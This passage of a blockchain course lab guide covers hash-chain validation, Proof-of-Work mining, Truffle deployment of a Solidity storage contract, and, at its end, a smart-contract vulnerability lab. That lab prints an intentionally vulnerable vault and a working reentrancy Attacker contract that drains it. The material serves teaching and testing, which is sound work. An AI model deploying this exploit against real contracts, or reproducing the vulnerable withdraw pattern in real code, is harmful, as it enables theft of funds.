        print("  Chain valid?", bc.is_valid())
    elif c in ("4", "5"):
        s = input(f"  Block index (0 to {len(bc.chain) - 1}): ").strip()
        if not s.isdigit() or int(s) >= len(bc.chain):
            print("  Invalid index")
            continue
        i = int(s)
        if c == "4":
            bc.chain[i].data = input("  New data: ")
            print("  Data changed; stored hash NOT updated")
        else:
            bc.chain[i].hash = bc.chain[i].compute_hash()
            print("  Hash recomputed for block", i)
```

```
    elif c == "6":
        break
    else:
        print("  Unknown choice")
```

Run: `python3 lab3_interactive.py`

Lab 3 test inputs (follow each row from a fresh start)

Key presses	Expected result
`3` immediately	`True`: a genesis-only chain is valid
`1` `Alice pays Bob 5`, `1` `Bob pays Carol 2`, `1` `Carol pays Dave 1`, `2`	Blocks 0 to 3; each block's `previous_hash` starts with the previous block's `hash`
then `3`	`True`
`4`, index `1`, text `Alice pays Bob 500`, then `3`	`INVALID: block 1 contents do not match its stored hash`, `False`
then `5`, index `1`, then `3`	Now block 1 is self-consistent, but `INVALID: block 2 previous_hash does not match block 1 hash` (cascade)
`4`, index `0` (genesis), then `3`	Invalid at block 0
`4`, index `3` (last block), then `3`	Invalid at block 3 (stored-hash check); then `5` index `3` and `3` gives `True`: the last block can be silently rewritten, nothing depends on it
`4`, index `9` / `-1` / `abc`	`Invalid index`, no crash
`4`, index `1`, text the same as the original	`True`: no real change
Add a block with empty data (just Enter)	Allowed; chain valid

Expect that you can only ever see one invalid block message at a time, because `is_valid` stops at the first failure. Say that out loud if asked why block 2 is not reported while block 1 is broken.

Optional extension: Lab 3 with Proof-of-Work (if the examiner asks)

In `Block.__init__`, add `self.nonce = 0`, include `nonce` in the dictionary inside `compute_hash`, and replace `self.hash = self.compute_hash()` with:

```
        self.hash = self.compute_hash()
        while not self.hash.startswith("0" * 3):      # difficulty 3, change
as asked
            self.nonce += 1
            self.hash = self.compute_hash()
```

In `is_valid`, additionally require `cur.hash.startswith("0" * 3)`. The genesis block is mined too, so validation still passes.

Lab 3: common errors and how to resolve them

Symptom or message	Likely cause	Check	Fix
`ModuleNotFoundError: No module named 'lab3'` (in the interactive script)	Wrong folder or file name	`pwd`, `ls` (must show exactly `lab3.py` beside `lab3_interactive.py`)	`cd` to the folder; rename the file; do not name your script `blockchain.py` if it shadows a library
Untouched chain reports `INVALID`	Hash computed before all fields were set, a field stored in the block but left out of `compute_hash`, or data mutated after creation	Print `block.hash` and `block.compute_hash()` for each block	Compute the hash last, include every field, never edit fields after hashing
Tampering is **not** detected	Validation only compares links, not recomputed hashes; or the tampered block was re-hashed	Tamper block 1 and print `compute_hash()` against stored `hash`	Check both conditions: stored hash equals recomputed hash, and `previous_hash` equals the parent's hash
Tampering the last block is not detected as a link break	Expected: nothing links to the last block	Tamper the last block, then re-hash it: validation passes	Explain: only the stored-hash check catches it, and a rewritten tip is why confirmations matter
Only one invalid block reported	`is_valid` returns at the first failure	Read the message index	Say so in the viva, or print all failures by collecting them in a list
`KeyError` or `AttributeError` on a block field	Typo in a field name, or the dict used in `compute_hash` differs from the attributes	Compare the names in `__init__` and `compute_hash`	Use one consistent set of names
Hash changes between runs for the same data	`time.time()` used as the timestamp	Print timestamps	Fine for the real chain; for repeatable demos pass a fixed `timestamp` argument
`TypeError: Object of type Block is not JSON serializable`	Trying to `json.dumps(block)`	Read the error line	Use `block.__dict__`, or `[b.__dict__ for b in chain]`
`IndentationError` or `TabError` after pasting	Mixed tabs and spaces	`python3 -m py_compile lab3.py`	Re-indent with 4 spaces

Symptom or message	Likely cause	Check	Fix
Genesis mismatch: `previous_hash` stored as `0` vs `"0"*64`	Type mismatch	`print(repr(chain[0].previous_hash))`	Use the same string form everywhere

Viva theory

Blockchain. An append-only linked list where each block commits to the previous block's hash, so history becomes tamper-evident. Each block has a header (index or height, timestamp, previous hash, Merkle root, nonce) and a body (transactions).

Hash linkage. `block[i].previous_hash == block[i-1].hash`. The genesis block has no parent, so it uses a fixed or zero previous hash.

Immutability is economic, not absolute. Data can be rewritten in principle, but it needs recomputing all later blocks. In PoW this means redoing the work and outpacing the honest network (51% attack). Immutability comes from linkage plus consensus plus decentralization (many copies, so a local edit is rejected by peers).

Validation logic. Recompute each block's hash and compare with the stored one (detects content change), and compare each `previous_hash` with the parent's hash (detects broken links or reordering). Real nodes also check signatures, balances, difficulty and timestamps.

Why the genesis block is special: hardcoded in the client, no parent, root of trust.

Why timestamp? Orders blocks and feeds difficulty adjustment. Real chains accept only timestamps within a window, not exact.

Typical viva questions: What happens if two blocks have the same index? (Fork; the longest or heaviest chain wins.) Why is a hash chain tamper-*evident*, not tamper-*proof*? (It detects changes; it does not prevent them.) Difference between Lab 3 and a real blockchain? (No network, no consensus, no signatures, no Merkle tree, no difficulty.) What if only the last block is changed? (Stored-hash check catches it unless the attacker also recomputes that block's hash; nothing after it depends on it, which is why recent blocks are less final: wait for confirmations.)

Lab 4: Proof-of-Work, nonce and mining difficulty

Mining means finding a nonce that makes the block hash start with `difficulty` zeros; each extra zero multiplies expected work by 16.

Setup

```
mkdir -p ~/lab4 && cd ~/lab4
python3 --version     # standard library only
```

Code: lab4.py

```
import hashlib, json, time

# ---------- Task 1: Proof-of-Work mining function ----------
def mine(block_data: dict, difficulty: int):
    """Find a nonce so that sha256(block + nonce) starts with `difficulty`
hex zeros."""
    prefix = "0" * difficulty
    nonce = 0
    start = time.time()
    while True:
        block_data["nonce"] = nonce
        payload = json.dumps(block_data, sort_keys=True).encode()
        digest = hashlib.sha256(payload).hexdigest()
        if digest.startswith(prefix):
            return nonce, digest, nonce + 1, time.time() - start   # attempts
= nonce + 1
        nonce += 1

block = {
    "index": 1,
    "timestamp": 1700000000,           # fixed so results are repeatable
    "data": "Alice pays Bob 5",
    "previous_hash": "0" * 64,
}

# ---------- Task 2: mine one block, report nonce, hash, attempts ----------
DIFFICULTY = 4
nonce, digest, attempts, secs = mine(dict(block), DIFFICULTY)
print(f"[Task 2] difficulty={DIFFICULTY}")
print(f"  nonce    : {nonce}")
print(f"  hash     : {digest}")
print(f"  attempts : {attempts}")
print(f"  time     : {secs:.3f} s")

# ---------- Task 3: compare different difficulties ----------
print("\n[Task 3] Difficulty comparison")
print(f"{'diff':>4} {'nonce':>10} {'attempts':>10} {'time(s)':>9}   hash")
for d in range(1, 6):                   # 6 can take a minute or more in pure
Python
```

```
    n, dg, att, t = mine(dict(block), d)
    print(f"{d:>4} {n:>10} {att:>10} {t:>9.3f}   {dg[:20]}...")

# ---------- Task 4: examiner-set difficulty / numeric target ----------
def mine_target(block_data, target_hex_bits):
    """Bitcoin-style: hash as integer must be < target = 2^(256 - bits)."""
    target = 2 ** (256 - target_hex_bits)
    nonce = 0
    while True:
        block_data["nonce"] = nonce
        digest = hashlib.sha256(json.dumps(block_data,
sort_keys=True).encode()).hexdigest()
        if int(digest, 16) < target:
            return nonce, digest, nonce + 1
        nonce += 1

bits = 16                                # 16 leading zero BITS = 4 hex zeros
n, dg, att = mine_target(dict(block), bits)
print(f"\n[Task 4] target = 2^(256-{bits})  nonce={n}  attempts={att}\n
hash={dg}")

# Verification is a single hash:
block_check = dict(block); block_check["nonce"] = n
print("Verified:", int(hashlib.sha256(json.dumps(block_check,
sort_keys=True).encode()).hexdigest(), 16) < 2 ** (256 - bits))
```

Run: `python3 lab4.py`

What you should observe: attempts and time grow about 16 times per additional hex zero (difficulty 1 is about 16 tries, 2 about 256, 3 about 4,096, 4 about 65,536, 5 about 1,048,576). Actual numbers are random around those averages: mining is a geometric (memoryless) process. Verification is always one hash.

Reading the results (Task 3 and 4 talking points)

Difficulty (hex zeros)	Probability per hash	Expected attempts
1	1/16	16
2	1/256	256
3	1/4,096	4,096
4	1/65,536	65,536
5	1/1,048,576	about 1 million

Binary form: `n` leading zero *bits* means target `= 2^(256 - n)` and expected attempts `= 2^n`. One hex zero is 4 bits, so ×16 per hex zero.

Likely examiner modifications

- **Change difficulty** (e.g. 5 or 6): edit `DIFFICULTY`. If 6 is too slow, say so and explain the 16× growth instead of waiting.
- **Change the target directly**: use `mine_target` with a different `bits` value, or compare `int(digest,16) < target` for a target the examiner gives (e.g. `0x0000ffff...`).
- **Mine with a different hash** (`sha3_256`) or a different block field, and note the nonce changes.
- **Print every attempt** for tiny difficulties to show the search: add `print(nonce, digest[:10])` inside the loop (only for difficulty 1 or 2).
- **Starts-with a different pattern** (e.g. `"ab"`): same logic with `prefix = "ab"`; the expected work is 16 per hex character regardless of which characters.
- **Add PoW to Lab 3's blockchain:** store `nonce` and `difficulty` in the block, and make `is_valid` also check `hash.startswith("0"*difficulty)`.
- **Speed up:** use `hashlib.sha256(prefix_bytes + str(nonce).encode())` to avoid JSON encoding each loop (about 3 times faster).

Interactive version: lab4_interactive.py (takes data and difficulty)

Type a number for hex-zero difficulty (`3` means the hash must start with `000`), or `b` plus a number for a bit-based target (`b12` means the hash as an integer must be below 2^(256-12)).

```
import hashlib, json, time

def block_hash(block):
    return hashlib.sha256(json.dumps(block,
sort_keys=True).encode()).hexdigest()

def mine(block, ok):
    nonce, start = 0, time.time()
    while True:
        block["nonce"] = nonce
        d = block_hash(block)
        if ok(d):
            return nonce, d, nonce + 1, time.time() - start
        nonce += 1

data = input("Block data: ")
```

```
base = {"index": 1, "timestamp": 1700000000, "data": data, "previous_hash":
"0" * 64}

while True:
    s = input("\nDifficulty: N (hex zeros, 0-7) or bN (bits, 0-28); Enter =
quit: ").strip().lower()
    if s == "":
        break
    try:
        if s.startswith("b"):
            bits = int(s[1:])
            if not 0 <= bits <= 28: raise ValueError
            ok = lambda d, bits=bits: int(d, 16) < 2 ** (256 - bits)
            label, expected = f"target < 2^(256-{bits})", 2 ** bits
        else:
            n = int(s)
            if not 0 <= n <= 7: raise ValueError
            ok = lambda d, n=n: d.startswith("0" * n)
            label, expected = f"{n} leading hex zeros", 16 ** n
    except ValueError:
        print("  Invalid. Examples: 3   or   b12   (levels above 6 can take
minutes)")
        continue
    nonce, digest, attempts, secs = mine(dict(base), ok)
    chk = dict(base); chk["nonce"] = nonce
    print(f"  rule     : {label}")
    print(f"  nonce    : {nonce}")
    print(f"  hash     : {digest}")
    print(f"  attempts : {attempts}   (expected on average about
{expected})")
    print(f"  time     : {secs:.3f} s")
    print(f"  verified : {ok(block_hash(chk))}")
```

Run: `python3 lab4_interactive.py`

Lab 4 test inputs

Because the timestamp and fields are fixed, the same data and difficulty always give the **same nonce** (mining is deterministic for a fixed block; the *expected* number of attempts is what is random across different blocks).

Data	Difficulty input	Expected result
`Alice pays Bob 5`	`0`	nonce `0`, attempts `1` (any hash qualifies)

Data	Difficulty input	Expected result
same	`1`	hash starts with `0`; attempts typically 1 to about 60
same	`2`, `3`, `4`	hash starts with `00`, `000`, `0000`; attempts grow by about 16 each step (about 256, 4,096, 65,536); `4` takes a fraction of a second
same	`5`	about 1 million attempts: roughly 1 to 5 seconds
same	`1` then `2` then `3`	Nonces never decrease as difficulty rises (a hash with 3 zeros also has 2 zeros)
same, rerun the script	`3`	**Same nonce and hash as before**: deterministic for fixed input
`Alice pays Bob 6`	`3`	Different nonce and hash: changing the data restarts the search
same	`b4`	Same nonce as difficulty `1` (4 bits = 1 hex zero)
same	`b16`	Same nonce as difficulty `4`
same	`b1`	Very easy: about 2 attempts on average
same	`8`, `-1`, `abc`, `b30`	`Invalid` message, no crash
(empty data, just Enter)	`2`	Works: empty string is valid data

Use this relationship to answer "what does one more bit do?": each extra leading zero **bit** doubles expected attempts; each extra hex zero multiplies it by 16 (4 bits).

If the examiner says "use difficulty 6": run `6` and, if it is slow (can be a few minutes in pure Python), explain the 16 times growth instead of waiting; use `b20` (about 1 million attempts) as a quick substitute that shows the same idea.

Lab 4: common errors and how to resolve them

Symptom or message	Likely cause	Check	Fix
Script runs for minutes at difficulty 6 or 7	Expected: about 16.8 million or 268 million attempts in pure Python	Watch CPU, estimate `16**d` attempts at about 300,000 to 1 million per second	`Ctrl+C`; demonstrate with difficulty 4 or 5, or `b20`; explain the 16 times growth

Symptom or message	Likely cause	Check	Fix
`TypeError: can't multiply sequence by non-int of type 'str'`	Difficulty read with `input()` and not converted	`type(difficulty)`	`int(input(...))`
Mined hash does not start with the zeros	Checking the wrong thing: raw bytes digest vs hex digest, or checking before assigning the nonce	Print the digest and the prefix	Use `hexdigest()` and `startswith("0" * d)`; set the nonce before hashing
"Verified: False" after a successful mine	Verification hashes a differently built block (extra field, different key order, missing nonce)	Compare the exact JSON strings	Use one `block_hash()` function with `sort_keys=True` for mining and verifying
Nonce differs between runs	`time.time()` timestamp changes the data	Print the block dict	Fix the timestamp for demos (already `1700000000`)
Attempts are always 1	Difficulty 0, or the check is always true	Print the difficulty	Use difficulty at least 1; check the comparison direction
Attempts off by one from the examiner's count	Reporting `nonce` vs `nonce + 1`	Mine difficulty 0: nonce 0, attempts 1	Say which you report and why
Time prints `0.000 s`	Difficulty too low to measure	Try difficulty 4	Use `time.perf_counter()` and a higher difficulty
Target comparison wrong in bit mode	Comparing a hex string to an integer, or using `>`	`int(digest, 16) < target`	Convert with `int(digest, 16)`; valid hash must be **below** the target

Symptom or message	Likely cause	Check	Fix
Base block gets a leftover `nonce` field and the next mine starts wrong	The same dict reused across runs	Print the dict after mining	Pass a copy: `mine(dict(base), ...)` (done in the scripts)
Comparison results look random (higher difficulty finished faster)	Normal randomness for single runs	Repeat 3 times with different data and average	Explain geometric distribution: the average, not one run, tracks 16 times growth

Viva theory

Proof-of-Work. Miners search for a nonce so that `SHA-256(header)` is below a target. It is a brute-force puzzle: hard to find (expected `2^bits` attempts), trivial to verify (one hash). The block therefore carries *proof* that real computation was spent.

Nonce. A "number used once": the only field a miner varies (plus extra-nonce and timestamp in practice) to get a different hash. Bitcoin's nonce is 32 bits (about 4.3 billion values), so miners also change the coinbase extra-nonce when the space runs out.

Difficulty and target. Target is the threshold the hash must fall under. Lower target means smaller probability of success per hash, higher difficulty. `difficulty = target_max / target`. Expected attempts scale with difficulty; with hash rate `H`, expected time is `attempts / H`.

Difficulty adjustment. Bitcoin retargets every 2016 blocks (about 2 weeks) to keep a 10-minute block interval: if blocks came too fast, target decreases.

Security. Rewriting a block means redoing its PoW and all later blocks, and outrunning the honest chain: costly, hence the 51% attack threshold and the six-confirmation rule. PoW also acts as Sybil resistance (voting power equals hash power, not identities) and a fair lottery for block creation.

Drawbacks: huge energy use, ASIC centralization, throughput limits. Alternatives: PoS, DPoS, PBFT.

Typical viva questions: Why can't a miner skip work? (Hash is unpredictable; only trial and error works.) Why does time vary run to run at the same difficulty? (Random search; the average is stable, individual runs are not.) What if two miners find a block simultaneously? (Temporary fork; the longest or heaviest chain wins, the other block is

orphaned/stale.) Is a low hash value more "valid" than a higher one below the target? (No, anything below target is valid.) Why does verification stay cheap? (One hash, no search.) Relationship between difficulty, target, effort? (Difficulty is inversely proportional to target and directly proportional to expected mining effort.)

Lab 5: Solidity smart contract development

Write a small owner-controlled storage contract, compile and deploy it on local Ganache with Truffle, call a write function and a read function, inspect the receipt, then change a rule and redeploy.

Setup (Ubuntu 22.04, offline)

Terminal A runs the local chain and stays open. Terminal B is for Truffle.

```
# Terminal A: start the local blockchain (pick whichever binary exists)
ganache-cli -d -p 8545        # old package: deterministic accounts (-d),
port 8545
# or:  ganache -d -p 8545     # new package, same flags
# or the provided Ganache GUI, which usually listens on 7545 (then use port
7545 below)
```

```
# Terminal B
truffle version        # NOTE the bundled Solidity version, e.g. Solidity
v0.5.16 or v0.8.x
mkdir -p ~/lab5 && cd ~/lab5
truffle init           # creates contracts/ migrations/ test/ truffle-
config.js
```

Offline compiler rule (important): Truffle tries to download a Solidity compiler if you request a version it has not cached, and with no internet that fails. So either leave the `compilers` block in `truffle-config.js` commented out (uses the bundled version shown by `truffle version`), or set exactly the version you know is cached (earlier you used 0.8.10). Match the `pragma` in your contract to that version. If you see `invalid opcode` / PUSH0 errors, the compiler is too new for the Ganache EVM: use solc 0.8.19 or lower, or set `evmVersion: "paris"`.

Config: truffle-config.js

```
module.exports = {
  networks: {
    development: {
      host: "127.0.0.1",
      port: 8545,          // use 7545 for Ganache GUI
      network_id: "*",
    },
  },
  compilers: {
    solc: {
      // version: "0.8.10",   // only set if this exact version is cached
locally
      settings: { optimizer: { enabled: false } },
    },
  },
};
```

Contract: contracts/SimpleStorage.sol

```
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.16 <0.9.0;

contract SimpleStorage {
    address public owner;
    uint256 private value;
    uint256 public maxValue = 1000;     // business rule modified in Task 4

    event ValueChanged(address indexed by, uint256 oldValue, uint256
newValue);

    constructor() public {              // 'public' is optional on >= 0.7,
harmless warning
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner");
        _;
    }

    // state-changing function (costs gas, needs a transaction)
    function set(uint256 _value) public onlyOwner {
        require(_value <= maxValue, "Value exceeds max");
        emit ValueChanged(msg.sender, value, _value);
```

```
        value = _value;
    }

    // read-only function (free, answered locally by the node)
    function get() public view returns (uint256) {
        return value;
    }
}
```

Migration: migrations/2_deploy_simple_storage.js

```
const SimpleStorage = artifacts.require("SimpleStorage");
module.exports = function (deployer) {
  deployer.deploy(SimpleStorage);
};
```

Task 1: compile and deploy

```
truffle compile
truffle migrate --network development
```

Show: `Compiling your contracts...`, then `contract address`, `transaction hash`, `block number`, `gas used`, and `Total cost` in the migration output. The compiled ABI and bytecode are in `build/contracts/SimpleStorage.json`.

Task 2: one state-changing and one read call

```
truffle console --network development
```

```
let c = await SimpleStorage.deployed()
let accounts = await web3.eth.getAccounts()
let tx = await c.set(42)                // state-changing: creates a
transaction and a block
(await c.get()).toString()              // read: returns '42'
await c.owner()                         // equals accounts[0]
```

Task 3: verify state and inspect transaction details

```
tx.tx                                   // transaction hash
tx.receipt.status                       // true = success
tx.receipt.blockNumber
tx.receipt.gasUsed                      // roughly 27,000 to 45,000 for the
first non-zero SSTORE
tx.logs[0].event                        // 'ValueChanged'
tx.logs[0].args                         // by, oldValue (0), newValue (42)
await web3.eth.getTransaction(tx.tx)    // from, to, gas, gasPrice, input
data
await web3.eth.getTransactionReceipt(tx.tx)
await web3.eth.getBlockNumber()
await web3.eth.getBalance(accounts[0])  // reduced by gasUsed * gasPrice
```

Task 4: modify a rule, redeploy, show changed behavior

Examples the examiner may ask for (edit `SimpleStorage.sol`, then run `truffle migrate --reset --network development`):

- **Change a limit:** `uint256 public maxValue = 100;`, then `await c.set(500)` must revert with `Value exceeds max`.
- **Remove access control:** delete `onlyOwner` from `set`; now `await c.set(7, {from: accounts[1]})` succeeds.
- **Add a new validation:** `require(_value > 0, "Must be positive");`.
- **Allow ownership transfer:**

```
function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0), "Zero address");
    owner = newOwner;
}
```

Demonstrate the negative case in the console after `--reset` (re-fetch `c = await SimpleStorage.deployed()`):

```
await c.set(5, {from: accounts[1]})     // reverts: Only owner
```

A revert still consumes gas for the failed transaction, but all state changes in it are undone.

Remix fallback (if Truffle misbehaves): paste the contract in Remix (offline copy if provided), compile, Deploy & Run with the "Dev - Ganache Provider" / "External HTTP Provider" at `http://127.0.0.1:8545`, call `set` and `get` from the buttons, and read the transaction details in the console panel.

Common errors

Error	Fix
`Could not connect to your Ethereum client`	Ganache is not running, or port in config does not match (8545 vs 7545)
Compiler download fails / hangs	Remove the `version` line so the bundled compiler is used, and match the pragma
`invalid opcode` after deploy	Compiler too new for Ganache: use solc 0.8.19 or lower
`Returned values aren't valid, did it run Out of Gas?`	Contract not deployed on this chain: run `truffle migrate --reset`
`VM Exception ... revert`	Your `require` rejected the call; this is expected in negative tests
Old results after editing	Always `truffle compile --all` or `migrate --reset`

Input-driven testing: scripts/interact.js and an automated test

With internet available, Truffle can also download whatever `solc` version you set, so setting `version: "0.8.19"` in `truffle-config.js` is fine now. Save this as `scripts/interact.js`. It reads the value and the calling account from environment variables, so you can try any input without editing code:

```
const SimpleStorage = artifacts.require("SimpleStorage");

module.exports = async function (callback) {
  try {
    const accounts = await web3.eth.getAccounts();
    const idx = Number(process.env.FROM || 0);
    const from = accounts[idx];
    if (!from) throw new Error("FROM must be 0 to " + (accounts.length - 1));
    const c = await SimpleStorage.deployed();
    console.log("contract:", c.address, " owner:", await c.owner(), " caller:
accounts[" + idx + "]");
    if (process.env.VALUE !== undefined) {
      console.log(`set(${process.env.VALUE})`);
      const tx = await c.set(process.env.VALUE, { from });
      console.log("tx:", tx.tx, " block:", tx.receipt.blockNumber,
                  " gasUsed:", tx.receipt.gasUsed, " status:",
tx.receipt.status);
```

```
    }
    console.log("get() =", (await c.get()).toString());
    callback();
  } catch (e) {
    console.log("FAILED:", e.message);
    callback();
  }
};
```

Run it as: `VALUE=42 FROM=0 truffle exec scripts/interact.js --network development`. Omit `VALUE` to only read.

Automated tests in `test/simplestorage.test.js`, run with `truffle test`:

```
const SimpleStorage = artifacts.require("SimpleStorage");

contract("SimpleStorage", (accounts) => {
  const [owner, other] = accounts;
  let c;
  beforeEach(async () => { c = await SimpleStorage.new({ from: owner }); });

  async function reverts(promise, text) {
    try { await promise; } catch (e) { assert.include(e.message, text);
return; }
    assert.fail("expected a revert containing: " + text);
  }

  it("starts at zero", async () => assert.equal((await c.get()).toString(),
"0"));
  it("owner can set within the limit", async () => {
    await c.set(1000, { from: owner });
    assert.equal((await c.get()).toString(), "1000");
  });
  it("rejects a value above the maximum", () => reverts(c.set(1001, { from:
owner }), "Value exceeds max"));
  it("rejects a non-owner", () => reverts(c.set(5, { from: other }), "Only
owner"));
});
```

If Task 4 changes a rule (for example `maxValue = 100`), update the matching test, rerun, and show it pass: this is the fastest way to demonstrate "changed behavior".

Lab 5 test inputs (assumes `maxValue = 1000`, owner is accounts[0])

`VALUE`	`FROM`	Expected result
(none)	0	`get() = 0` on a fresh deployment
`42`	0	success, `status: true`, `get() = 42`
`0`	0	success, `get() = 0`
`1000`	0	success (boundary is inclusive)
`1001`	0	`FAILED: ... revert Value exceeds max`
`115792089237316195423570985008687907853269984665640564039457584007913129639935` (2^256 - 1)	0	revert `Value exceeds max`
`115792089237316195423570985008687907853269984665640564039457584007913129639936` (2^256)	0	Fails before sending: value out of range for uint256
`-5`	0	Fails: negative numbers are invalid for `uint256`
`abc` or `1.5`	0	Fails: invalid number
`5`	1	revert `Only owner`; `get()` unchanged
`5`	12	`FROM must be 0 to 9`

Gas observations worth showing: the first `set(42)` from zero costs more (new non-zero storage slot, about 20,000 for the store) than a later `set(43)` (overwrite, about 5,000 for the store). Setting back to `0` earns a gas refund. A reverted call still shows a mined block but `status false` and no state change.

In the console, check **every state-changing call has an event**: `tx.logs[0].args` shows `oldValue` and `newValue`, which should match your input and the previous `get()`.

Lab 5: more common errors and how to resolve them

(These add to the short error table earlier in this lab.)

Symptom or message	Likely cause	Check	Fix
`Could not connect to your Ethereum client ... host 127.0.0.1 port 8545`	Ganache not running or on another port	`ss -ltn` and look for 8545 or 7545; `curl -s -X POST -H 'Content-Type: application/json' --data '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}' http://127.0.0.1:8545`	Start Ganache in its own terminal; match the port in `truffle-config.js`
`listen EADDRINUSE :::8545` when starting Ganache	A Ganache from earlier is still running	`sudo lsof -i :8545`	Kill it (`kill <pid>`) or start on another port and edit the config
`Contract has not been deployed to detected network`	Ganache restarted (chain wiped), or `network_id` mismatch	`truffle networks` ; `build/contracts/*.json` `networks` entry vs Ganache's network id	`truffle migrate --reset` ; use `network_id: "*"`
`Returned values aren't valid, did it run Out of Gas?`	Calling an address with no contract on this chain	Same as above	Migrate again; use `.deployed()` after migrating
`ParserError: Source file requires different compiler version`	`pragma` does not match the compiler Truffle uses	`truffle version` ; first lines of the contract	Set `compilers.solc.version` (internet is available) or widen the pragma
`Invalid opcode` / `PUSH0` error after deployment	Compiler (0.8.20 and above) is newer than Ganache's EVM	`truffle version`	`version: "0.8.19"` and `evmVersion: "paris"` in `settings` , then `truffle migrate --reset`
`Error: Cannot find module` or migration not run	Migration file name does not start with a number, or wrong contract name in `artifacts.require`	`ls migrations/` ; contract name inside the `.sol` file	Name it `2_deploy_simple_storage.js` ; the name in `require` must equal the **contract** name, not the file name
`VM Exception while processing transaction: revert Only owner`	Not a bug: sender is not the owner	`await c.owner()` vs the account used	Call from `accounts[0]` , or in Task 4 expect this
`Error: insufficient funds for gas * price + value`	Sending account out of ETH (many tests, or default account changed)	`web3.eth.getBalance(accounts[0])`	Restart Ganache with `-d` , redeploy
`Exceeds block gas limit` / `out of gas`	Gas too low for deployment	Gas used in the error	Add `gas: 3000000` to the network config or the call
Console gives `SyntaxError` on a multi-line paste, or `await` not allowed	Console handles one statement per line	Re-enter line by line	Paste single lines; wrap in `async` function for multi-line code

Symptom or message	Likely cause	Check	Fix
`truffle init` refuses: directory not empty	Project folder has files	`ls -la`	Use a new empty folder
`Error: Could not find artifacts for SimpleStorage`	Not compiled, or compile failed silently	`ls build/contracts`	`truffle compile --all` and read the first error
Edits not taking effect	Old build artifacts or old deployment	Timestamps in `build/`	`truffle compile --all`; `truffle migrate --reset`; reopen console to refetch `deployed()`
`TypeError: c.set is not a function`	Contract object is stale or a different contract	`Object.keys(c.methods)` or print `c.abi`	Re-run `let c = await SimpleStorage.deployed()` after migrating

Viva theory

Smart contract. Code stored on-chain at a contract address and executed by the EVM on every node. State changes happen only through transactions; once deployed the code is immutable (upgrade patterns use proxies).

Compile and deploy flow. Solidity source is compiled by `solc` into **bytecode** (what runs on the EVM) and an **ABI** (JSON interface that tools use to encode function calls). Deployment is a transaction with no `to` address whose data is the bytecode; the new address is derived from the deployer address and nonce.

Transaction versus call. A *transaction* modifies state, costs gas, is mined into a block and produces a receipt. A *call* (`view` / `pure`) executes locally on one node, changes nothing, and is free.

Gas. The fee unit that pays for computation and storage; it prevents infinite loops (the halting problem) and spam. `fee = gasUsed × gasPrice`. A plain Ether transfer costs 21,000 gas; writing a new non-zero storage slot (SSTORE) costs about 20,000 plus the base cost; overwriting an existing non-zero slot costs about 5,000. If gas runs out, the transaction reverts but the fee is still paid.

require / revert / assert. `require` validates inputs and conditions and refunds unused gas on failure; `revert` reverts with a custom reason; `assert` checks invariants that should never fail.

msg.sender and access control. `msg.sender` is the immediate caller's address. The `onlyOwner` modifier restricts sensitive functions. Missing access control is among the most common real-world vulnerabilities.

Events/logs. Cheap, indexed records written to the transaction receipt; not readable by contracts but used by off-chain apps (dApps) to watch activity.

Account types. Externally owned accounts (EOAs, controlled by a private key) and contract accounts (code plus storage, no private key). Only EOAs can start transactions.

Ganache. A personal in-memory Ethereum chain with 10 pre-funded accounts (100 ETH each), instant mining, and no real money: for development and testing. `-d` makes accounts deterministic.

Truffle. A development framework: compile, migrate (deploy scripts), test, and a console. Migrations are numbered scripts executed in order; a `Migrations` record tracks progress.

Typical viva questions: Why is `get()` free? (View call, no state change, no transaction.) Why did my `set` from account 1 fail? (`onlyOwner` modifier.) What is stored in `build/contracts/*.json`? (ABI, bytecode, networks with deployed addresses.) Can you edit a deployed contract? (No, redeploy a new instance with a new address.) Why does a failed transaction still cost gas? (Validators did the work.) What is the difference between `private` and secret? (`private` only restricts other contracts; all storage is publicly readable on-chain.)

Lab 6: Smart contract vulnerability analysis and testing

You will be assigned one weakness. This section gives the vulnerable contract, the exploit, the fix and positive plus negative tests for the four most likely ones: reentrancy (unsafe external interaction and wrong state-update order), missing access control, and improper validation.

Use the same Truffle + Ganache setup as Lab 5 (`ganache-cli -d -p 8545`, `truffle init`, same `truffle-config.js`). The code below needs Solidity 0.8.x. If `truffle version` shows 0.5.x, convert `.call{value: x}("")` to `.call.value(x)("")` and use `address payable`.

Workflow for any assigned weakness (Tasks 1 to 4)

1. **Task 1:** deploy the given contract and run its normal function (deposit, withdraw, transfer) to show it works.
2. **Task 2:** read the code for one of the patterns in the identification table, name it, and explain the attack path in two sentences.
3. **Task 3:** change the contract minimally (see fixes below).
4. **Task 4:** run a positive test (honest user still works) and a negative test (attack now fails), showing output for both.

Symptom in code	Vulnerability	Fix
`call` / `transfer` / `send` happens before `balances[...] = ...`	Reentrancy (incorrect state-update sequence)	Checks-Effects-Interactions, plus a reentrancy lock
Sensitive function (`setOwner` , `withdrawAll` , `selfdestruct`) has no `require(msg.sender == owner)`	Missing access control	`onlyOwner` modifier
`require(tx.origin == owner)`	tx.origin phishing	Use `msg.sender`
`unchecked { a -= b }` , or compiler < 0.8 without SafeMath, and no balance check	Integer underflow / improper validation	`require(balance >= amount)` , zero-address checks
`(bool ok, ) = x.call{...}` with `ok` ignored	Unchecked return value	`require(ok)`
Loop paying many users via `transfer`	DoS by a failing receiver	Pull payments

A. Reentrancy

contracts/VulnerableVault.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "No balance");
        (bool ok, ) = msg.sender.call{value: bal}("");   // INTERACTION
before EFFECT (bug)
        require(ok, "Transfer failed");
        balances[msg.sender] = 0;                         // state updated
too late
    }
```

```
    function vaultBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
```

contracts/Attacker.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IVault {
    function deposit() external payable;
    function withdraw() external;
}

contract Attacker {
    IVault public vault;
    address public owner;
    uint256 public count;

    constructor(address _vault) {
        vault = IVault(_vault);
        owner = msg.sender;
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "Send at least 1 ETH");
        vault.deposit{value: msg.value}();
        vault.withdraw();
    }

    receive() external payable {                          // runs when the
vault sends ETH
        if (address(vault).balance >= 1 ether && count < 10) {
            count++;
            vault.withdraw();                             // re-enter before
balance is zeroed
        }
